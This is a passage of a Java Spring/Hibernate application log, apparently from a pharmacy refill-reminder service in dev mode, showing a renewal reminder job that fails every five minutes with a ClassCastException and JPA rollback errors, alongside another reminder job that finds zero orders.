org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at 